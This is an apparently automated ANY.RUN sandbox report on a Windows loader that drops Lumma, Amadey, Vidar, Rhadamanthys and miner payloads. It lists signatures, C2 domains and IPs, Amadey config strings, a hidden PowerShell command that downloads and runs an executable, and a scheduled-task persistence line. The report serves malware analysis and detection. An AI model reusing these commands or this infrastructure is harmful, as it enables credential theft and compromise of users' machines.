File name:

CBTFE_random.exe

Full analysis: https://app.any.run/tasks/327fc9c2-6f7c-4b78-8ef5-265df962bb82
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Analysis date: April 27, 2025, 09:14:17
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
lumma
stealer
themida
loader
amadey
botnet
rdp
telegram
vidar
stealc
rhadamanthys
miner
metastealer
redline
auto-sch
github
shellcode
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
MD5:

18EAEA222E5D96C008BC5CA142B17741

SHA1:

C094E3153B2B0FEEABDE36DA28150AF3EA65FDC4

SHA256:

047FBEA603C1CF4AFFFCFE260ADACF28C9258B24D44CE908AEB7CF473ACD458D

SSDEEP:

98304:bEMRMMn2VmJzVaV7utQFakFW3+Fq2fovEi44qyrtrnZZfJ6BvRyQgz5w0LQT0isf:31VU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Steals credentials from Web Browsers

      • CBTFE_random.exe (PID: 7732)
      • zb7jDew.exe (PID: 496)
      • 178f26fa21.exe (PID: 3020)
      • MSBuild.exe (PID: 7320)
    • Actions looks like stealing of personal data

      • CBTFE_random.exe (PID: 7732)
      • zb7jDew.exe (PID: 496)
      • 178f26fa21.exe (PID: 3020)
      • MSBuild.exe (PID: 7320)
    • LUMMA has been detected (SURICATA)

      • svchost.exe (PID: 2196)
      • CBTFE_random.exe (PID: 7732)
      • zb7jDew.exe (PID: 496)
      • 178f26fa21.exe (PID: 3020)
    • Connects to the CnC server

      • svchost.exe (PID: 2196)
      • saved.exe (PID: 8152)
      • crypted.exe (PID: 8124)
    • LUMMA mutex has been found

      • CBTFE_random.exe (PID: 7732)
      • zb7jDew.exe (PID: 496)
      • 178f26fa21.exe (PID: 3020)
    • LUMMA has been detected (YARA)

      • CBTFE_random.exe (PID: 7732)
      • MSBuild.exe (PID: 7224)
      • 178f26fa21.exe (PID: 3020)
    • AMADEY has been detected (SURICATA)

      • saved.exe (PID: 8152)
    • AMADEY has been detected (YARA)

      • saved.exe (PID: 8152)
    • Stealers network behavior

      • svchost.exe (PID: 2196)
    • VIDAR mutex has been found

      • MSBuild.exe (PID: 7320)
    • VIDAR has been detected (YARA)

      • MSBuild.exe (PID: 7320)
    • RHADAMANTHYS mutex has been found

      • fdb0f31429.exe (PID: 1056)
      • svchost.exe (PID: 672)
    • RHADAMANTHYS has been detected (YARA)

      • svchost.exe (PID: 672)
    • Uses Task Scheduler to autorun other applications

      • cmd.exe (PID: 1128)
    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7956)
      • powershell.exe (PID: 2564)
      • powershell.exe (PID: 4996)
    • METASTEALER has been detected (SURICATA)

      • crypted.exe (PID: 8124)
    • MINER has been detected (SURICATA)

      • svchost.exe (PID: 2196)
    • REDLINE has been detected (SURICATA)

      • crypted.exe (PID: 8124)
    • Changes Windows Defender settings

      • FkOAvfT.exe (PID: 4756)
    • Adds path to the Windows Defender exclusion list

      • FkOAvfT.exe (PID: 4756)
  • SUSPICIOUS

    • Reads the BIOS version

      • CBTFE_random.exe (PID: 7732)
      • 178f26fa21.exe (PID: 3020)
      • fdb0f31429.exe (PID: 1056)
    • Contacting a server suspected of hosting an CnC

      • svchost.exe (PID: 2196)
      • CBTFE_random.exe (PID: 7732)
      • saved.exe (PID: 8152)
      • zb7jDew.exe (PID: 496)
      • 178f26fa21.exe (PID: 3020)
    • Searches for installed software

      • CBTFE_random.exe (PID: 7732)
      • zb7jDew.exe (PID: 496)
      • MSBuild.exe (PID: 7320)
      • 178f26fa21.exe (PID: 3020)
    • Potential Corporate Privacy Violation

      • CBTFE_random.exe (PID: 7732)
      • saved.exe (PID: 8152)
    • Executable content was dropped or overwritten

      • CBTFE_random.exe (PID: 7732)
      • 6TUQ7EWY6HXEFZYE9XD.exe (PID: 8012)
      • saved.exe (PID: 8152)
      • JLVnvnZ.exe (PID: 8012)
      • cmd.exe (PID: 1128)
      • powershell.exe (PID: 4996)
    • Connects to the server without a host name

      • CBTFE_random.exe (PID: 7732)
      • saved.exe (PID: 8152)
    • Starts itself from another location

      • 6TUQ7EWY6HXEFZYE9XD.exe (PID: 8012)
    • Reads security settings of Internet Explorer

      • 6TUQ7EWY6HXEFZYE9XD.exe (PID: 8012)
      • saved.exe (PID: 8152)
      • MSBuild.exe (PID: 7320)
      • JLVnvnZ.exe (PID: 8012)
      • FkOAvfT.exe (PID: 2096)
    • Process requests binary or script from the Internet

      • CBTFE_random.exe (PID: 7732)
      • saved.exe (PID: 8152)
    • The process executes via Task Scheduler

      • saved.exe (PID: 2384)
      • saved.exe (PID: 8088)
    • There is functionality for enable RDP (YARA)

      • saved.exe (PID: 8152)
    • There is functionality for taking screenshot (YARA)

      • saved.exe (PID: 8152)
      • zb7jDew.exe (PID: 496)
      • MSBuild.exe (PID: 7224)
      • MSBuild.exe (PID: 7320)
    • Process drops legitimate windows executable

      • saved.exe (PID: 8152)
      • JLVnvnZ.exe (PID: 8012)
      • cmd.exe (PID: 1128)
    • Starts a Microsoft application from unusual location

      • VisualCode.exe (PID: 6668)
      • sysdrv.exe (PID: 4692)
      • 0UAO4G0.exe (PID: 2332)
    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • MSBuild.exe (PID: 7320)
      • MSBuild.exe (PID: 6436)
      • buowenfl.exe (PID: 5720)
    • Multiple wallet extension IDs have been found

      • MSBuild.exe (PID: 7320)
    • Executes application which crashes

      • fdb0f31429.exe (PID: 1056)
    • The process checks if it is being run in the virtual environment

      • svchost.exe (PID: 672)
    • Connects to unusual port

      • svchost.exe (PID: 672)
      • crypted.exe (PID: 8124)
    • Starts CMD.EXE for commands execution

      • JLVnvnZ.exe (PID: 8012)
      • powershell.exe (PID: 7500)
      • cmd.exe (PID: 1128)
      • FkOAvfT.exe (PID: 4756)
    • Starts NET.EXE to display or manage information about active sessions

      • cmd.exe (PID: 616)
      • net.exe (PID: 5048)
      • net.exe (PID: 4180)
      • cmd.exe (PID: 1128)
    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 616)
      • cmd.exe (PID: 7740)
      • FkOAvfT.exe (PID: 4756)
      • cmd.exe (PID: 668)
    • Starts process via Powershell

      • powershell.exe (PID: 7500)
      • powershell.exe (PID: 7956)
    • Reads the date of Windows installation

      • JLVnvnZ.exe (PID: 8012)
      • FkOAvfT.exe (PID: 2096)
    • Executing commands from a ".bat" file

      • powershell.exe (PID: 7500)
      • JLVnvnZ.exe (PID: 8012)
      • cmd.exe (PID: 1128)
    • Application launched itself

      • cmd.exe (PID: 1128)
      • FkOAvfT.exe (PID: 2096)
    • The executable file from the user directory is run by the CMD process

      • crypted.exe (PID: 8124)
    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 7740)
    • Crypto Currency Mining Activity Detected

      • svchost.exe (PID: 2196)
    • Script adds exclusion path to Windows Defender

      • FkOAvfT.exe (PID: 4756)
    • Downloads file from URI via Powershell

      • powershell.exe (PID: 4996)
  • INFO

    • Reads the computer name

      • CBTFE_random.exe (PID: 7732)
      • 6TUQ7EWY6HXEFZYE9XD.exe (PID: 8012)
      • saved.exe (PID: 8152)
      • zb7jDew.exe (PID: 496)
      • MSBuild.exe (PID: 7224)
      • MSBuild.exe (PID: 7320)
      • 178f26fa21.exe (PID: 3020)
      • JLVnvnZ.exe (PID: 8012)
      • crypted.exe (PID: 8124)
      • FkOAvfT.exe (PID: 2096)
      • sysdrv.exe (PID: 4692)
    • Reads the software policy settings

      • CBTFE_random.exe (PID: 7732)
      • zb7jDew.exe (PID: 496)
      • MSBuild.exe (PID: 7224)
      • MSBuild.exe (PID: 7320)
      • 178f26fa21.exe (PID: 3020)
    • Checks supported languages

      • CBTFE_random.exe (PID: 7732)
      • 6TUQ7EWY6HXEFZYE9XD.exe (PID: 8012)
      • saved.exe (PID: 8152)
      • saved.exe (PID: 2384)
      • zb7jDew.exe (PID: 496)
      • 47Q6wZM.exe (PID: 4208)
      • VisualCode.exe (PID: 6668)
      • MSBuild.exe (PID: 7224)
      • MSBuild.exe (PID: 7320)
      • 178f26fa21.exe (PID: 3020)
      • fdb0f31429.exe (PID: 1056)
      • JLVnvnZ.exe (PID: 8012)
      • crypted.exe (PID: 8124)
      • FkOAvfT.exe (PID: 2096)
      • FkOAvfT.exe (PID: 4756)
      • sysdrv.exe (PID: 4692)
    • Reads the machine GUID from the registry

      • CBTFE_random.exe (PID: 7732)
      • zb7jDew.exe (PID: 496)
      • MSBuild.exe (PID: 7224)
      • MSBuild.exe (PID: 7320)
      • 178f26fa21.exe (PID: 3020)
      • crypted.exe (PID: 8124)
    • Themida protector has been detected

      • CBTFE_random.exe (PID: 7732)
      • 178f26fa21.exe (PID: 3020)
    • Create files in a temporary directory

      • CBTFE_random.exe (PID: 7732)
      • 6TUQ7EWY6HXEFZYE9XD.exe (PID: 8012)
      • saved.exe (PID: 8152)
      • JLVnvnZ.exe (PID: 8012)
    • Process checks computer location settings

      • 6TUQ7EWY6HXEFZYE9XD.exe (PID: 8012)
      • saved.exe (PID: 8152)
      • JLVnvnZ.exe (PID: 8012)
      • FkOAvfT.exe (PID: 2096)
    • Creates files or folders in the user directory

      • saved.exe (PID: 8152)
      • MSBuild.exe (PID: 7320)
    • Checks proxy server information

      • saved.exe (PID: 8152)
      • MSBuild.exe (PID: 7320)
    • The sample compiled with english language support

      • saved.exe (PID: 8152)
    • Creates files in the program directory

      • MSBuild.exe (PID: 7320)
    • Attempting to use instant messaging service

      • MSBuild.exe (PID: 7320)
      • MSBuild.exe (PID: 6436)
    • Reads product name

      • MSBuild.exe (PID: 7320)
    • Reads CPU info

      • MSBuild.exe (PID: 7320)
    • Reads Environment values

      • MSBuild.exe (PID: 7320)
    • Manual execution by a user

      • svchost.exe (PID: 672)
    • Application launched itself

      • chrome.exe (PID: 7580)
      • msedge.exe (PID: 2192)
    • The executable file from the user directory is run by the Powershell process

      • sysdrv.exe (PID: 4692)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Lumma

(PID) Process(7732) CBTFE_random.exe
C2 (9)woodpeckersd.run/glsk
climatologfy.top/kbud
tropiscbs.live/iuwxx
topographky.top/xlak
biosphxere.digital/tqoa
clarmodq.top/qoxo
cartograhphy.top/ixau
geographys.run/eirq
vigorbridgoe.top/banb
(PID) Process(7224) MSBuild.exe
C2 (6)hemispherexz.top/xapp
climatologfy.top/kbud
equatorf.run/reiq
crocodilefg.top/qeji
longitudde.digital/wizu
latitudert.live/teui
(PID) Process(3020) 178f26fa21.exe
C2 (8)vigorbridgoe.top/banb
climatologfy.top/kbud
topographky.top/xlak
hemispherexz.top/xapp
biosphxere.digital/tqoa
cartograhphy.top/ixau
geographys.run/eirq
tropiscbs.live/iuwxx

Amadey

(PID) Process(8152) saved.exe
C2185.39.17.163
URLhttp://185.39.17.163/Su8kud7i/index.php
Version5.34
Options
Drop directoryc13dbdc4fa
Drop namesaved.exe
Strings (125)S-%lu-
og:
clip.dll
ProgramData\
shell32.dll
<c>
vs:
Programs
&&
VideoID
ESET
av:
\App
0000043f
Doctor Web
:::
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
------
rundll32.exe
00000422
185.39.17.163
0123456789
st=s
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
msi
ar:
GetNativeSystemInfo
Norton
-%lu
Sophos
zip
SOFTWARE\Microsoft\Windows NT\CurrentVersion
" Content-Type: application/octet-stream
|
+++
" && ren
pc:
#
d1
cmd /C RMDIR /s/q
Bitdefender
Comodo
<d>
Kaspersky Lab
DefaultSettings.YResolution
Main
c13dbdc4fa
-executionpolicy remotesigned -File "
&& Exit"
ProductName
&unit=
2022
Panda Security
=
Rem
cmd
\0000
id:
sd:
--
/quiet
rundll32
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
%-lu
random
GET
"taskkill /f /im "
Content-Disposition: form-data; name="data"; filename="
00000423
5.34
2016
?scr=1
ComputerName
Keyboard Layout\Preload
Powershell.exe
POST
http://
AVAST Software
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
ps1
DefaultSettings.XResolution
Startup
CurrentBuild
e3
cred.dll|clip.dll|
------
WinDefender
wb
https://
Avira
2025
" && timeout 1 && del
cred.dll
un:
SYSTEM\ControlSet001\Services\BasicDisplay\Video
rb
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
360TotalSecurity
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
saved.exe
e1
lv:
/Su8kud7i/index.php
shutdown -s -t 0
/k
e2
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
exe
%USERPROFILE%
-unicode-
r=
.jpg
dll
Content-Type: multipart/form-data; boundary=----
2019
bi:
\
"
kernel32.dll
os:
abcdefghijklmnopqrstuvwxyz0123456789-_
dm:
AVG

Vidar

(PID) Process(7320) MSBuild.exe
C2https://t.me/v00rd
URLhttps://steamcommunity.com/profiles/76561199846773220
RC43333333333333333UUUUUUUUUUUUUUUU
Strings (1)
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:04:26 14:47:23+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 312320
InitializedDataSize: 38400
UninitializedDataSize: -
EntryPoint: 0x4b8000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
195
Monitored processes
67
Malicious processes
18
Suspicious processes
4

Behavior graph

Click at the process to see the details
start #LUMMA cbtfe_random.exe #LUMMA svchost.exe 6tuq7ewy6hxefzye9xd.exe #AMADEY saved.exe #LUMMA zb7jdew.exe saved.exe no specs 47q6wzm.exe no specs #LUMMA msbuild.exe visualcode.exe no specs #VIDAR msbuild.exe #LUMMA 178f26fa21.exe #RHADAMANTHYS fdb0f31429.exe #RHADAMANTHYS svchost.exe werfault.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs slui.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs jlvnvnz.exe cmd.exe no specs conhost.exe no specs net.exe no specs net1.exe no specs powershell.exe no specs cmd.exe conhost.exe no specs net.exe no specs net1.exe no specs schtasks.exe no specs cmd.exe no specs #METASTEALER crypted.exe conhost.exe no specs powershell.exe no specs fkoavft.exe no specs conhost.exe no specs fkoavft.exe conhost.exe no specs sysdrv.exe conhost.exe no specs timeout.exe no specs powershell.exe no specs conhost.exe no specs 0uao4g0.exe no specs cmd.exe no specs powershell.exe msbuild.exe no specs msbuild.exe saved.exe no specs buowenfl.exe

Process information

PID
CMD
Path
Indicators
Parent process
496"C:\Users\admin\AppData\Local\Temp\10037270101\zb7jDew.exe" C:\Users\admin\AppData\Local\Temp\10037270101\zb7jDew.exe
saved.exe
User:
admin
Company:
Code Sector
Integrity Level:
MEDIUM
Description:
TeraCopy Installer
Exit code:
0
Version:
3.17
Modules
Images
c:\users\admin\appdata\local\temp\10037270101\zb7jdew.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
616C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\SystemService\install.bat" "C:\Windows\System32\cmd.exeJLVnvnZ.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
668C:\WINDOWS\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://github.com/crockod1/plo/raw/refs/heads/main/kickaska1.exe' -OutFile 'C:\Users\admin\AppData\Local\jnphitbvtxi\buowenfl.exe'"C:\Windows\System32\cmd.exeFkOAvfT.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
672"C:\Windows\System32\svchost.exe"C:\Windows\SysWOW64\svchost.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\sechost.dll
904"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=2680 --field-trial-handle=2340,i,11958941709871444091,66510136143841145,262144 --variations-seed-version /prefetch:3C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
1040schtasks /Create /F /SC ONLOGON /RL HIGHEST /TN "MicrosoftEdgeUpdate" /TR "\"C:\Users\admin\AppData\Roaming\SystemService\miner_loop.bat\"" /RU "admin" C:\Windows\System32\schtasks.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1056"C:\Users\admin\AppData\Local\Temp\10037310101\fdb0f31429.exe" C:\Users\admin\AppData\Local\Temp\10037310101\fdb0f31429.exe
saved.exe
User:
admin
Company:
FlashDevelop.org
Integrity Level:
MEDIUM
Description:
FlashDevelop
Exit code:
3221225477
Version:
5.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\10037310101\fdb0f31429.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
1056"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe0UAO4G0.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
1128"C:\WINDOWS\System32\cmd.exe" /C "C:\Users\admin\AppData\Local\Temp\SystemService\install.bat" C:\Windows\System32\cmd.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
1328"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3200 --field-trial-handle=1968,i,1980344049214724426,8529053112139773854,262144 --variations-seed-version /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
Total events
57 616
Read events
57 593
Write events
23
Delete events
0

Modification events

(PID) Process:(8152) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(8152) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(8152) saved.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(7320) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7320) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7320) MSBuild.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(1056) fdb0f31429.exeKey:HKEY_CURRENT_USER\SOFTWARE\SibCode
Operation:writeName:sn3
Value:
C186A95CDAAC125547B4BDB38EB1C49FDB1842704BC4F6617ED128A4F378F6C983D9D9E239D33A1F2D790F5CFE2047F132F949B61ECE51F986052A271957203D
(PID) Process:(7580) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(7580) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(7580) chrome.exeKey:HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
2
Executable files
30
Suspicious files
62
Text files
83
Unknown types
0

Dropped files

PID
Process
Filename
Type
8152saved.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\zb7jDew[1].exeexecutable
MD5:2FBD4BDECEDF24B45B6AF9B9D1D9B504
SHA256:D5C541A2D1300B9B890659310FED17BC2139DF0A13F4AF7D39A61046C08BB6B7
80126TUQ7EWY6HXEFZYE9XD.exeC:\Windows\Tasks\saved.jobbinary
MD5:0D9F8845CF5C11039736639DD21D424F
SHA256:3882BC357AE548DE614A5B0C51966425087461A723C4D74D56984F395BC3753B
80126TUQ7EWY6HXEFZYE9XD.exeC:\Users\admin\AppData\Local\Temp\c13dbdc4fa\saved.exeexecutable
MD5:F6C20A18AFEAC04964A6CCAD6BE59731
SHA256:CE75F9DEDE6D4E93549D35B816898113B6BEFAB9EF0AADF8949D4887C2C34BEA
8152saved.exeC:\Users\admin\AppData\Local\Temp\10037270101\zb7jDew.exeexecutable
MD5:2FBD4BDECEDF24B45B6AF9B9D1D9B504
SHA256:D5C541A2D1300B9B890659310FED17BC2139DF0A13F4AF7D39A61046C08BB6B7
8152saved.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\E4DJRUXW\VisualCode[1].exeexecutable
MD5:77A8BAC1C0D0988C80CF3345CEF33AAE
SHA256:183B796A8AE1995891F1EE6D03BB57E784DB02B342B4BBA65921F7F60FD8A546
8152saved.exeC:\Users\admin\AppData\Local\Temp\10037300101\178f26fa21.exeexecutable
MD5:662A3DF17B29B738CF4B89E54DEEB3C3
SHA256:A9CB72A5E2A1C4349508A4941FE1412289CC793B6D141AD8A957DE0DE236455E
7580chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\discounts_db\LOG.old~RF11b63d.TMP
MD5:
SHA256:
7580chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old~RF11b63d.TMP
MD5:
SHA256:
7580chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db\LOG.old~RF11b63d.TMP
MD5:
SHA256:
7580chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\chrome_cart_db\LOG.old
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
141
TCP/UDP connections
156
DNS requests
71
Threats
116

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
7732
CBTFE_random.exe
GET
200
185.39.17.162:80
http://185.39.17.162/mine/random.exe
unknown
malicious
8152
saved.exe
POST
200
185.39.17.163:80
http://185.39.17.163/Su8kud7i/index.php
unknown
malicious
8152
saved.exe
POST
200
185.39.17.163:80
http://185.39.17.163/Su8kud7i/index.php
unknown
malicious
8152
saved.exe
POST
200
185.39.17.163:80
http://185.39.17.163/Su8kud7i/index.php
unknown
malicious
8152
saved.exe
GET
200
185.39.17.162:80
http://185.39.17.162/files/6336929412/zb7jDew.exe
unknown
malicious
8152
saved.exe
GET
200
94.26.90.80:80
http://94.26.90.80/VisualCode.exe
unknown
unknown
8152
saved.exe
GET
200
185.39.17.162:80
http://185.39.17.162/files/7453936223/47Q6wZM.exe
unknown
malicious
8152
saved.exe
POST
200
185.39.17.163:80
http://185.39.17.163/Su8kud7i/index.php
unknown
malicious
8152
saved.exe
GET
200
185.39.17.162:80
http://185.39.17.162/files/qqdoup/random.exe
unknown
malicious
GET
200
91.99.2.206:443
https://qr.ap.4t.com/
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
whitelisted
7732
CBTFE_random.exe
104.21.85.126:443
clarmodq.top
CLOUDFLARENET
malicious
7732
CBTFE_random.exe
185.39.17.162:80
Joint Stock Company Tagnet
RU
malicious
8152
saved.exe
185.39.17.163:80
Joint Stock Company Tagnet
RU
malicious
8152
saved.exe
185.39.17.162:80
Joint Stock Company Tagnet
RU
malicious
8152
saved.exe
94.26.90.80:80
Deutsche Telekom AG
GB
unknown
496
zb7jDew.exe
172.67.171.157:443
pomelohgj.top
CLOUDFLARENET
US
malicious
7224
MSBuild.exe
104.102.49.106:443
steamcommunity.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
google.com
  • 142.250.186.142
whitelisted
clarmodq.top
  • 104.21.85.126
  • 172.67.205.184
malicious
pomelohgj.top
  • 172.67.171.157
  • 104.21.71.199
malicious
longitudde.digital
malicious
hemispherexz.top
malicious
equatorf.run
malicious
latitudert.live
malicious
climatologfy.top
unknown
steamcommunity.com
  • 104.102.49.106
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
A Network Trojan was detected
MALWARE [ANY.RUN] Suspected Domain Associated with Malware Distribution (clarmodq .top)
2196
svchost.exe
Potentially Bad Traffic
